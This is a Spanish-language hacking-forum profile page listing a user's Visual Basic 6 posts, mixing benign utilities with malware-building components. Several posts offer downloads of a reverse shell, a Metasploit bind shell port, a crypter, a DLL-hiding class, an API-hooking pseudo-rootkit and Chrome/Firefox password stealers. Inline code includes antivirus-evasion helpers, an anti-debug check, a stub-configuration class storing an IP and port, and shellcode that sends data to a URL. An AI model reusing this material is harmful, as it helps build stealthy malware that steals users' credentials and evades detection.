Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - cobein

#1
Aburridooo hasta la medula, hice un modulito para leer archivos nk2 (son los que guardan los datos para ser utilizados en el autocompletar de outlook), el modulo es funcional, lee todos los datos correctamente lo unico que tira todo en el debug y no en estructuras o cosas asi.

http://www.2shared.com/file/MrpOZ4Jm/NK2.html
#2
Programación Visual Basic / Read ZIP file info
12 Octubre 2010, 19:55 PM
Mirando el ultimo proyecto de Leandeo me dio curiosidad el tema de leer el contenido de los zip y arme un mudulo super simple para listar las carpetas y archivos (solo las rutas).

'---------------------------------------------------------------------------------------
' Module      : mZIPInfo
' DateTime    : 10/12/2010 10:45
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advancevb.com.ar
' Purpose     : Read file/folder info from zip files
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Reference   : http://www.pkware.com/documents/casestudies/APPNOTE.TXT
'
' History     : 10/12/2010 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Const ZIP_SIGNATURE As Long = &H4034B50

Private Type tZipHeader
    Signature   As Long
    Version     As Integer
    Flag        As Integer
    Compression As Integer
    FileTime    As Integer
    FileDate    As Integer
    CRC         As Long
    CompZise    As Long
    UncompSize  As Long
    NameLength  As Integer
    ExtraLength As Integer
End Type

Public Function ReadZipInfo(ByVal sFile As String) As Collection
    Dim iFile   As Integer
    Dim tHead   As tZipHeader
    Dim sName   As String
    Dim sExtra  As String
    Dim lOffset As Long
    Dim cNames  As New Collection
   
    On Local Error GoTo ReadZipInfo_Error

    iFile = FreeFile
    lOffset = 1
   
    Open sFile For Binary Access Read As iFile
NextHead:
    Get iFile, lOffset, tHead
    With tHead
        If .Signature = ZIP_SIGNATURE Then
            sName = Space(.NameLength)
            Get iFile, , sName
            sExtra = Space(.ExtraLength)
            Get iFile, , sExtra
            Call cNames.Add(sName)
            lOffset = lOffset + .CompZise + 30 + .ExtraLength + .NameLength
            GoTo NextHead:
        End If
    End With
    Close iFile
    Set ReadZipInfo = cNames

    On Error GoTo 0
    Exit Function

ReadZipInfo_Error:
    Close iFile
    Set ReadZipInfo = cNames
End Function
#3
Programación Visual Basic / System Call Dispatcher
28 Septiembre 2010, 21:32 PM
Un ejemplo de como utilizar Syscall (o mejor dicho en este caso int 2e) para ejecurar APIs directamente, sin llamar al stub de ntdll.

Post Original:
http://cobein.com/wp/?p=618

Source:
http://cobein.com/wp/wp-content/uploads/2010/09/SysCall.zip
#4
Programación Visual Basic / Reverse Shell
13 Septiembre 2010, 19:19 PM
Aca les dejo una reverse shell que hice el otro dia con cliente incluido, utiliza el modulo de Karcrack para llamar apis.

Post Original:
http://www.advancevb.com.ar/?p=599

Descarga:
http://www.advancevb.com.ar/wp-content/2010/09/Reverse-Shell.zip
#5
Estaba jugando con metasploit y se me ocurrio pasar uno de los payloads a VB el shell_bind_tcp.rb que es una shell.

http://www.advancevb.com.ar/wp-content/2010/01/Inline-Shell.zip
#6
Programación Visual Basic / HTML Parser [SRC]
6 Diciembre 2009, 22:27 PM
Bueno, estaba haciendo unos experimentos y queria extraer datos de unas paginas, despues de buscar un poco no encontre ningun parser de HTML para VB que funcionara correctamente o que tuviero lo que necesitaba asi que hice uno. Quiero aclarar que el code no esta optimizado en lo absoluto, iba resolviendo cosas sobre la marcha asi que el resultado es lo que fue saliendo.
Se puede hacer mucho mas compacto y rapido utilizando safearrays y APIs pero por ahora lo dejo asi hasta que lo termine de purgar.

El ejemplo tiene un treeview donde se cargan los elemtos con sus respectivos path etc. se pueden ver las propiedades de cada uno y muchas cosas magicas =D

Para el que le interesa, arme un un treee con un array, el primero que hago asi en vez de utilizar clases... la verdad esta un poco flojo pero es interesante.

http://www.advancevb.com.ar/?p=433
#7
Programación Visual Basic / SQLite3
12 Octubre 2009, 08:32 AM
Holi Holas, estaba trabajando en este proyecto y esta bastante decente en este punto asi lo posteo para el que le interese. Es un wrapper para SQLIte3 hecho enteramente en VB6.

http://www.vbsqlite.com.ar/
#8
I got almost everything to put this together so why not, here is a tool to read Chrome pass.
Added a few more functions to the sqlite module to read the BLOBs and fixed some others, prolly that will fix the FF problem some ppl reported.

http://www.advancevb.com.ar/?p=187
#9
Perdon por la descripcion, pero no tengo ganas de escribir esto 20 veces.

Ok guys, last night I finally had some time to finish the first working FF 3.5.x VB code. Still a bit messy but I know a lot of ppl have been looking for it so Ill post it even if is not clean as I like.

I wrote a mini sqlite wrapper, able to open and read the fields only (enought for this code)

Thanks to Karcrack, hes helping me a lot lately!

http://www.advancevb.com.ar/?p=167 ::)
#10
Bueno, un dia despues de muchas birras se me ocurrio la genial idea de hacer un CallAPIByName usando solamente rtlMoveMemory, hasta ahi todo genial... pero bueno despues de pelarme el 0r70 por varias semanas intentando resolver diferentes problemas logre hacerlo funcionar! =D

Usa un monton de magia negra para resolver diferentes cosas ... pero en fin funciona o eso creo.
Testeado en XP y Vista compilado en P-Code y Codigo Nativo.

http://www.advancevb.com.ar/wp-content/2009/06/Call-API.rar
#11
Programación Visual Basic / Hide DLL [SRC]
8 Junio 2009, 18:53 PM
Es una clase para ocultar librerias en tu propio proceso, se puede modificar para usar con inyeccion o hacerlo remotamente. Usen Process Explorer o algo similar para ver las librerias cargadas en mem y comprovar que se ocultan.

http://uploading.com/files/CIN6X71E/Hide DLL.rar.html
#12
Un ejemplo chiquito de como leer el thread environment block y sacar algunos datos interesantes de el.

http://www.mediafire.com/?sharekey=772aae6ba8d94e0c7432d3c9683f450ae04e75f6e8ebb871
#13
Hace mucho que no posteo nada por aca.

Perdon por ponerlo en ingles pero no tengo ganas de escribir esto de vuelta.

A friend of mine was doing some buffer parsing and he was needing a way to find certain bytes in a byte array (an Instr with bytes) so the first answer was, use two loops, one to increase the index in the buffer and the second to compare but, this was kinda crappy so after using the neurons for a while I came out with this solution. Its notably faster and it uses less iterations than a normal 2 loop seach , about  [match position / match bytes len] match position is the index in the buffer where the first match is located.

This function does not make use of any API, meaning it can be modded to speed it up but, I wanted to keep it simple to try the concept.

http://www.mediafire.com/?sharekey=772aae6ba8d94e0c7432d3c9683f450ae04e75f6e8ebb871
#15
Programación Visual Basic / Unclose [SRC]
9 Diciembre 2008, 07:43 AM
Estaba medio aburrido asi que hice este code que esta basado en el ejemplo de internals.com - StickyApp32, no es igual pero es la misma idea.

Basicamente es una libreria que se inyecta en an las aplicaciones que estan corriendo y hookea el api openprocess, usa un hook CBT y bla bla bla, para evitar que cierren nuestra aplicacion.

Es simplemente un ejemplo y si hay maneras de cerrar la aplicacion, pero es divertido.

Para compilar la libreria por su cuenta necesitan un control de compilador (hay uno en mi pagina) pero de igual manera esta la libreria compilada para probar.

http://www.uploadsourcecode.com.ar/d/uav4eovli3C54Y27w41s8SWoOyi48UKR

#16
Bueno, aca les dejo un modulo para cambiar el OEP de un programa, lo podran utilizar como base para hacer un crypter, infectar archivos o hacer los UD.

http://www.mediafire.com/?sharekey=3d5e670b76f5c3f4d2db6fb9a8902bda

Para usarlo se llama asi

If ChangeOEPFromFile (RUTA DEL EXE) then
    debug.print "OK"
else
    debug.print "=("
end if


En algunos archivos es posible que no funcione!

#17
Bueno acadejo dos modulos uno para cambiar el icono de un exe y el otro para realinear el PE, ambos corregidos y con ejemplo.

http://www.uploadsourcecode.com.ar/d/I84aLcziZJLcN5aL6y6gWEwoMQRYd0mo
#18
Programación Visual Basic / Patch EOF [SRC]
24 Octubre 2008, 15:20 PM
Parchar EOF con o sin alineamiento de bloque.

http://www.advancevb.com.ar/storage/mPE_Realign.rar




#19
'---------------------------------------------------------------------------------------
' Module      : mGetProcAddress
' DateTime    : 06/10/2008 20:06
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advancevb.com.ar
' Member of   : http://hackhound.org/
' Purpose     : GetProcAddress alternative function
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Reference   : Based on ExtremeCoder sample [http://www.rohitab.com/discuss/lofiversion/index.php/t30773.html]
'
' History     : 06/10/2008 First Cut....................................................
'               06/10/2008 Minor change in buffer size to increase speed................
'---------------------------------------------------------------------------------------
Option Explicit

Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function SysAllocString Lib "oleaut32.dll" (ByVal pOlechar As Long) As String

Public Function GetProcAddressAlt(ByVal sLib As String, ByVal sMod As String) As Long
    Dim lLib    As Long
    Dim i       As Long
   
    lLib = LoadLibraryA(sLib)
   
    If Not lLib = 0 Then
        Dim dwNumberOfNames As Long
        Dim dwNamesOffset   As Long
        Dim dwNameRVAs      As Long
        Dim dwFuncOffset    As Long
        Dim dwFuncRVAs      As Long
   
        GetMem4 (lLib + &H3C), i
        GetMem4 (lLib + i + &H78), i
   
        GetMem4 (lLib + i + &H18), dwNumberOfNames
        GetMem4 (lLib + i + &H20), dwNamesOffset
        GetMem4 (lLib + i + &H1C), dwFuncOffset

        Dim sBuff   As String * 128
        Dim sName   As String

        For i = 0 To dwNumberOfNames - 1
            GetMem4 (lLib + dwNamesOffset + i * &H4), dwNameRVAs
            GetMem4 (lLib + dwFuncOffset + i * &H4), dwFuncRVAs

            sBuff = SysAllocString(lLib + dwNameRVAs)
            sName = Left$(sBuff, lstrlen(sBuff))
           
            If sName = sMod Then
                GetProcAddressAlt = lLib + dwFuncRVAs
                Exit Function
            End If
        Next
    End If
   
End Function
#20
Bueno inspirado por el aporte de ErMoja me tome la molestia de hacer esto. Espero que les guste.

http://foro.elhacker.net/programacion_vb/tutorial_enviando_email_con_vb6-t230043.0.html


'---------------------------------------------------------------------------------------
' Module      : mInternetOpenAlter
' DateTime    : 03/10/2008 23:11
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advancevb.com.ar
' Member of   : http://hackhound.org/
' Purpose     : Do an URL request, usefull to send information.
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Reference   : Inspired by an article from ErMoja
'
' History     : 03/10/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
'
'// Sample PHP
'<?php
'$val = $_GET['value'];
'
mail ('myemail@hotmail.com''Title'$val);
?>

'
'// Sample Call
'Private Sub Form_Load()
'    InternetOpenAlter "http://www.myserver.com.ar/mailme.php?value=Test"
'End Sub
'---------------------------------------------------------------------------------------
Option Explicit

Private Declare Sub RtlMoveMemory Lib "kernel32" (pDst As Any, pSrc As Any, ByVal dlen As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal adr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Public Function InternetOpenAlter(ByVal sUrl As String) As Boolean
    Dim lLib        As Long
    Dim lhConn      As Long
    Dim lhFile      As Long
    Dim bvASM(255)  As Byte
    Dim vItem       As Variant
    Dim lPos        As Long
    Dim lPtr        As Long
    Dim lMod        As Long
       
    For Each vItem In Array( _
       &H58, &H59, &H59, &H59, &H59, &H50, &H68, &H0, &H0, &H0, &H0, &H68, &H0, &H0, &H0, &H0, _
       &H68, &H0, &H0, &H0, &H0, &H68, &H1, &H0, &H0, &H0, &H68, &H0, &H0, &H0, &H0, &HE8, _
       &H0, &H0, &H0, &H0, &HC3, &H58, &H59, &H59, &H59, &H59, &H50, &H68, &H0, &H0, &H0, &H0, _
       &H68, &H0, &H0, &H0, &H80, &H68, &H0, &H0, &H0, &H0, &H68, &H0, &H0, &H0, &H0, &H68, _
       &H0, &H0, &H0, &H0, &H68, &H0, &H0, &H0, &H0, &HE8, &H0, &H0, &H0, &H0, &HC3, &H58, _
       &H59, &H59, &H59, &H59, &H50, &H68, &H0, &H0, &H0, &H0, &HE8, &H0, &H0, &H0, &H0, &HC3, _
       &H58, &H59, &H59, &H59, &H59, &H50, &H68, &H0, &H0, &H0, &H0, &HE8, &H0, &H0, &H0, &H0, &HC3)
        bvASM(lPos) = vItem: lPos = lPos + 1
    Next
   
    lPtr = VarPtr(bvASM(0))

    lLib = LoadLibraryA("wininet")
    lMod = GetProcAddress(lLib, "InternetOpenW")
    RtlMoveMemory ByVal lPtr + 32, lMod - lPtr - 36, &H4
    lMod = GetProcAddress(lLib, "InternetOpenUrlW")
    RtlMoveMemory ByVal lPtr + 74, lMod - lPtr - 78, &H4
    lMod = GetProcAddress(lLib, "InternetCloseHandle")
    RtlMoveMemory ByVal lPtr + 91, lMod - lPtr - 95, &H4
    RtlMoveMemory ByVal lPtr + 108, lMod - lPtr - 112, &H4
   
    lhConn = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
    If Not lhConn = 0 Then
        RtlMoveMemory ByVal lPtr + 69, lhConn, &H4
        RtlMoveMemory ByVal lPtr + 64, StrPtr(sUrl), &H4
        lhFile = CallWindowProcA(VarPtr(bvASM(37)), 0, 0, 0, 0)
        If Not lhFile = 0 Then
            RtlMoveMemory ByVal lPtr + 86, lhFile, &H4
            Call CallWindowProcA(VarPtr(bvASM(79)), 0, 0, 0, 0)
            InternetOpenAlter = True
        End If
        RtlMoveMemory ByVal lPtr + 103, lhConn, &H4
        Call CallWindowProcA(VarPtr(bvASM(96)), 0, 0, 0, 0)
    End If
   
End Function
#21
Bueno me harte de que pregunten esto un millon de veces, aca les dejo un codigo super simple para leer y escribir datos al final de un EXE. Creditos a E0N por la funcion para calcular el EOF

Clase:

Código (vb) [Seleccionar]

'---------------------------------------------------------------------------------------
' Module      : cEditSvr
' DateTime    : 19/09/2008 13:23
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advancevb.com.ar
' Purpose     : Read Write data at EOF
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' History     : 19/09/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Private c_pBag      As New PropertyBag
Private c_sFile     As String
Private c_lEOF      As Long
Public c_bHasData  As Boolean

'---------------------------------------------------------------------------------------
' Procedure : GetEOF
' Author    : E0N
' Purpose   : Calculate EOF
'---------------------------------------------------------------------------------------
Private Function GetEOF(sPath As String) As Long
    Dim vbData() As Byte
    Dim PE As Long, NumberOfSections As Integer
    Dim BeginLastSection As Long
    Dim RawSize As Long, RawOffset As Long
       
    Open sPath For Binary As #1
        ReDim vbData(LOF(1) - 1)
        Get #1, , vbData
    Close #1
   
    Call CopyMemory(PE, vbData(&H3C), 4)
    Call CopyMemory(NumberOfSections, vbData(PE + &H6), 2)
    BeginLastSection = PE + &HF8 + ((NumberOfSections - 1) * &H28)
    Call CopyMemory(RawSize, vbData(BeginLastSection + 16), 4)
    Call CopyMemory(RawOffset, vbData(BeginLastSection + 20), 4)
    GetEOF = RawSize + RawOffset
End Function

Public Function ExeFile(sPath As String) As Boolean
    c_sFile = sPath
    c_lEOF = GetEOF(c_sFile)
   
    If Not FileLen(c_sFile) = c_lEOF Then
        c_bHasData = True
       
        Dim vbData() As Byte
       
        Open c_sFile For Binary As #1
        ReDim vbData(LOF(1) - c_lEOF - 1)
        Seek #1, c_lEOF + 1
        Get #1, , vbData
        Close #1
        '+++++++++++++++++++++++++++++++++++++++++++++++++++++
        'At this point you can Decrypt the byte array [vbData]
        '+++++++++++++++++++++++++++++++++++++++++++++++++++++
        Set c_pBag = New PropertyBag
        c_pBag.Contents = vbData
    End If
   
End Function

Public Sub WriteProp(sName As String, vVal As Variant)
    c_pBag.WriteProperty sName, vVal
End Sub

Public Function ReadProp(sName As String) As Variant
    ReadProp = c_pBag.ReadProperty(sName)
End Function

Public Function WriteData(sDstFile As String) As Boolean
    Dim vbData() As Byte
   
    Open c_sFile For Binary Access Read As #1
    ReDim vbData(LOF(1) - 1)
    Get #1, , vbData
    Close #1
   
    Open sDstFile For Binary Access Write As #1
    Put #1, , vbData
    vbData = c_pBag.Contents
    '+++++++++++++++++++++++++++++++++++++++++++++++++++++
    'At this point you can Encrypt the byte array [vbData]
    '+++++++++++++++++++++++++++++++++++++++++++++++++++++
    Put #1, , vbData
    Close #1
   
End Function


Como llamarlo

Código (vb) [Seleccionar]

Option Explicit

Private Sub Form_Load()

    Dim c As New cEditSvr
    c.ExeFile "c:\proyecto1.exe"
    c.WriteProp "IP", "123.123.123.123"
    c.WriteProp "Port", 1234
    c.WriteData "c:\test.exe"
   
   
    Set c = New cEditSvr
    c.ExeFile "c:\test.exe"
    Debug.Print c.ReadProp("IP")
    Debug.Print c.ReadProp("Port")
End Sub

#22
Programación Visual Basic / Split replacement
17 Septiembre 2008, 04:04 AM
Estaba al pe.. asi que hice esto una funcion que imita a la funcion Split, al parecer el split es detectado por la heuristica de los AVs asi que esto podria ser una buena opcion supongo.

Bueno no se porque pero esto me esta modificando la variable Expre ssion (lo separe para que no lo modifique) por epresionje

Código (vb) [Seleccionar]

'---------------------------------------------------------------------------------------
' Procedure : SplitAlter
' DateTime  : 16/09/2008 22:58
' Author    : Cobein
' Mail      : cobein27@yahoo.com
' Purpose   : Complete Split Replacement
'---------------------------------------------------------------------------------------
Private Function SplitAlter(ByVal epresionje As String, Optional ByVal Delimiter As String, Optional ByVal Limit As Long = -1) As String()
    Dim lLastPos    As Long
    Dim lIncrement  As Long
    Dim lExpLen     As Long
    Dim lDelimLen   As Long
    Dim lUbound     As Long
    Dim svTemp()    As String
   
    lExpLen = Len(epresionje)
   
    If Delimiter = vbNullString Then Delimiter = " "
    lDelimLen = Len(Delimiter)
    If Limit = 0 Then GoTo QuitHere
    If lExpLen = 0 Then GoTo QuitHere
    If InStr(1, epresionje, Delimiter, vbBinaryCompare) = 0 Then GoTo QuitHere
   
    ReDim svTemp(0)
    lLastPos = 1
    lIncrement = 1
   
    Do
        If lUbound + 1 = Limit Then
            svTemp(lUbound) = Mid$(epresionje, lLastPos)
            Exit Do
        End If
        lIncrement = InStr(lIncrement, epresionje, Delimiter, vbBinaryCompare)
        If lIncrement = 0 Then
            If Not lLastPos = lExpLen Then
                svTemp(lUbound) = Mid$(epresionje, lLastPos)
            End If
            Exit Do
        End If
        svTemp(lUbound) = Mid$(epresionje, lLastPos, lIncrement - lLastPos)
        lUbound = lUbound + 1
        ReDim Preserve svTemp(lUbound)
        lLastPos = lIncrement + lDelimLen
        lIncrement = lLastPos
    Loop
   
    ReDim Preserve svTemp(lUbound)
    SplitAlter = svTemp
   
    Exit Function
   
QuitHere:
    ReDim SplitAlter(-1 To -1)
End Function

#23
Programación Visual Basic / TheBug [SRC]
16 Septiembre 2008, 21:08 PM
Bueno, estaba trabajando en este proyecto y me gustaria ver que opinan del mismo, esta incompleto para mi gusto pero es totalmente funcional.

TheBug is an application that lets you monitor debug output on your local system. It is capable of displaying Win32 debug output generated by standard debug print APIs, so you don’t need a debugger to catch the debug output your applications generate, and you don't need to modify your applications to use non-Windows debug functions in order to view its debug output.

Descaraga: http://www.uploadsourcecode.com.ar/d/HGGHHpVJsjtBbWOcgrobJcGiksO3Ghtb

#24
Programación Visual Basic / Juego [SRC]
11 Septiembre 2008, 12:27 PM
Bueno estaba aburrido y me puse a hacer este jueguito de naves que nunca termine, esta hecho estilo old skool, con graficos hechos de caracteres, si alguno se quiere reir un rato...

http://www.uploadsourcecode.com.ar/d/nrrL1VV4RSDioBzfNwZHBKoUD6z4cu9D
#25
Programación Visual Basic / Cryptosy [SRC]
8 Septiembre 2008, 17:18 PM
Bueno producto del aburrimiento me dedique a hacer este "crypter", no es FUD ni nada magico pero funciona bastante bien

http://www.uploadsourcecode.com.ar/d/bph0xHw4opViUVfGjq9YVsiew4L2538p
#26
Programación Visual Basic / Detectar Debugger (SRC)
1 Septiembre 2008, 21:17 PM
Private Declare Function OutputDebugStringA Lib "kernel32" (ByVal lpString As String) As Long

Private Sub Form_Load()
    If IsDebuggerActive Then
        MsgBox "Debugger Present"
    End If
End Sub

Private Function IsDebuggerActive() As Boolean
    IsDebuggerActive = Not (OutputDebugStringA("=)") = 1)
End Function

#27
Modulo de Clase
Código (vb) [Seleccionar]

'---------------------------------------------------------------------------------------
' Module      : cCallAPIByName
' DateTime    : 31/08/2008 19:40
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advancevb.com.ar
' Purpose     : Call APIs by name
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Credits     : Arne Elster, original callpointer function.
'
' History     : 31/08/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Declare Sub CpyMem Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Public Function DoNotCall() As Long
'
End Function

Public Function CallAPIByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
    Dim lPtr                As Long
    Dim bvASM(&HEC00& - 1)  As Byte
    Dim i                   As Long
    Dim lMod                As Long
   
    lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
    If lMod = 0 Then Exit Function
   
    lPtr = VarPtr(bvASM(0))
    CpyMem ByVal lPtr, &H59595958, &H4:            lPtr = lPtr + 4
    CpyMem ByVal lPtr, &H5059, &H2:                lPtr = lPtr + 2
    For i = UBound(Params) To 0 Step -1
        CpyMem ByVal lPtr, &H68, &H1:              lPtr = lPtr + 1
        CpyMem ByVal lPtr, CLng(Params(i)), &H4:   lPtr = lPtr + 4
    Next
    CpyMem ByVal lPtr, &HE8, &H1:                  lPtr = lPtr + 1
    CpyMem ByVal lPtr, lMod - lPtr - 4, &H4:       lPtr = lPtr + 4
    CpyMem ByVal lPtr, &HC3, &H1
   
    Dim lVTE                As Long
    Dim lRet                As Long
   
    CpyMem lVTE, ByVal ObjPtr(Me), &H4
    lVTE = lVTE + &H1C
    CpyMem lRet, ByVal lVTE, &H4
    CpyMem ByVal lVTE, VarPtr(bvASM(0)), &H4
    CallAPIByName = DoNotCall
    CpyMem ByVal lVTE, lRet, &H4
End Function


Como Llamarlo
Código (vb) [Seleccionar]

Option Explicit

Private Sub Form_Load()
    Dim c As New cCallAPIByName

    c.CallAPIByName "user32", "MessageBoxW", 0, VarPtr(ByVal "Test"), VarPtr(ByVal "Test"), 0
   
End Sub
#28
Bueno aca les dejo una mini clase para crear controles RichTextBox en tiempo de ejecucion, es muy simple pero viene ideal para EULA, Readme o Help files.

http://www.uploadsourcecode.com.ar/d/IxpzMQ8JDQDdsy6njvxsLYf70SivC04o
#29
Bueno ya vi que preguntaron esto mil veces asi que arme un ejemplo de como pueden hacer y usar plugins, el ejemplo no necesita que se registren las librerias, valida los plugins, obtiene descripciones etc. Es facil de comprender asi que espero que no pregunten mas esto =)

Descarga: http://www.uploadsourcecode.com.ar/d/CbxSm5kMQm8NLMQAROtzXc52yWAFiFWC
#30
Bueno aca les dejo algo que estaba haciendo para como se dice por aca "sacarme la leche", es un pseudo rootkit que se inyecta y hookea la API MessageBoxW, el ejemplo se inyecta en el notepad y "consume" los messagebox como por ejemplo al querer reemplazar un archivo, pueden usar ProcessExplorer para ver la libreria en memoria y DebugView para ver las llamadas a la API.

El ejemplo es muy basico pero funciona correctamente, hay incluida una version compilada para los que no saben como hacerlo.... no hay mucho mas para decir.

Descarga: http://www.uploadsourcecode.com.ar/d/lNS2csLimZ1aQwIb5U6MryTxW0Wk6Ost
#31
Holi Holas =), bueno aca les dejo un usercontrol para entrar IPs, tiene varias propiedades, leer y escribir IPs, validar, setear rangos, etc.

Espero que les guste.

Captura:



Descarga:
http://www.advancevb.com.ar/blog/index.php?entry=entry080730-194720
#32
Holas, bueno aca les dejo algo simple pero calculo que les va a ser de utilidad, un mini uc para hacer descargas.

Download: http://www.uploadsourcecode.com.ar/d/lUGA2Mz4JXcFHOnKjvbPWmORfftKyGrZ
#33
Bueno, aca les dejo una mini clase para crear progressbars con API, es realmente simple pero viene bien cuando no queres incluir una referencia a los controles de VB por una simple barra de progreso.
Código (vb) [Seleccionar]


'---------------------------------------------------------------------------------------
' Module      : cProgBar
' DateTime    : 28/07/2008 09:23
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://cobein27.googlepages.com/vb6
' Purpose     : Mini ProgressBar class
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' History     : 28/07/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Const PROGRESS_CLASSA   As String = "msctls_progress32"

Private Const WS_VISIBLE        As Long = &H10000000
Private Const WS_CHILD          As Long = &H40000000

Private Const WM_USER           As Long = &H400
Private Const PBM_SETPOS        As Long = (WM_USER + 2)
Private Const PBS_SMOOTH        As Long = &H1
Private Const PBS_VERTICAL      As Long = &H4

Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private c_lhWnd As Long
Private c_lVal  As Long

Public Function CreateProgBar( _
       ByVal lhWndOwner As Long, _
       ByVal Left As Long, _
       ByVal Top As Long, _
       ByVal Width As Long, _
       ByVal Heght As Long, _
       Optional ByVal bHorizontal As Boolean = True, _
       Optional ByVal bSmooth As Boolean = False) As Boolean

    Dim lFlag As Long
   
    lFlag = WS_CHILD Or WS_VISIBLE
    If Not bHorizontal Then lFlag = lFlag Or PBS_VERTICAL
    If bSmooth Then lFlag = lFlag Or PBS_SMOOTH
         
    If Not c_lhWnd = 0 Then Class_Terminate
       
    c_lhWnd = CreateWindowEx(0, PROGRESS_CLASSA, vbNullString, _
       lFlag, Left, Top, Width, Heght, _
       lhWndOwner, vbNull, App.hInstance, ByVal 0&)
       
    CreateProgBar = Not (c_lhWnd = 0)
End Function

Public Property Let Value(ByVal lVal As Long)
    If Not c_lhWnd = 0 Then
        c_lVal = lVal
        Call SendMessage(c_lhWnd, PBM_SETPOS, ByVal lVal, ByVal 0&)
    End If
End Property

Public Property Get Value() As Long
    Value = c_lVal
End Property

Private Sub Class_Initialize()
    '
End Sub

Private Sub Class_Terminate()
    If Not c_lhWnd = 0 Then
        Call DestroyWindow(c_lhWnd)
        c_lhWnd = 0
    End If
End Sub
#34
Bueno uno mas para la coleccion, esta vez es un libreria para descargar desde un servidor FTP utilizando inyeccion.

Descarga:
http://www.uploadsourcecode.com.ar/d/P28mCQxzjjdYjzNzHsumTj8e0qenjJ0M
#35
Programación Visual Basic / SPassTic [Source]
23 Julio 2008, 18:11 PM
Hola, aca les dejo una mini aplicacion que hice para un amigo, este programa genera passwords complejos basados en dos palabras clave ingresadas por el usuario, la idea es tener passwords mas seguros sin tener que recordar cosas complicadas, la aplicacion genera una lista unica de caracteres al iniciarce por primera vez por lo cual dos aplicaciones iguales con dos palabras iguales no van a dar como resultado el mismo password, esta preparada para funcionar desde dispositivos USB y tiene una funcion de Drag and Drop para ingresar los passwords y evitar los keyloggers.

Edit:
Update, ahora utiliza solamente los simbolos soportados por las cuentas de correo

Descarga Update:
http://www.uploadsourcecode.com.ar/d/SwrB0on0i4ja8snw84ORiCZ7b3fzdYpm
#36
Bueno aca les dejo un mini codigo para ejecutar una aplicacion requiriendo permisos de administrador.
Para verlo en funcionamiento usen Vista con el UAC activado.

Código (vb) [Seleccionar]

'---------------------------------------------------------------------------------------
' Module      : mShellElevated
' DateTime    : 15/07/2008 07:32
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://cobein27.googlepages.com/vb6
' Purpose     : Execute an app requesting admin rights
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' History     : 15/07/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Type SHELLEXECUTEINFO
    cbSize          As Long
    fMask           As Long
    hwnd            As Long
    lpVerb          As String
    lpFile          As String
    lpParameters    As String
    lpDirectory     As String
    nShow           As Long
    hInstApp        As Long
    lpIDList        As Long
    lpClass         As String
    hkeyClass       As Long
    dwHotKey        As Long
    hIcon           As Long
    hProcess        As Long
End Type

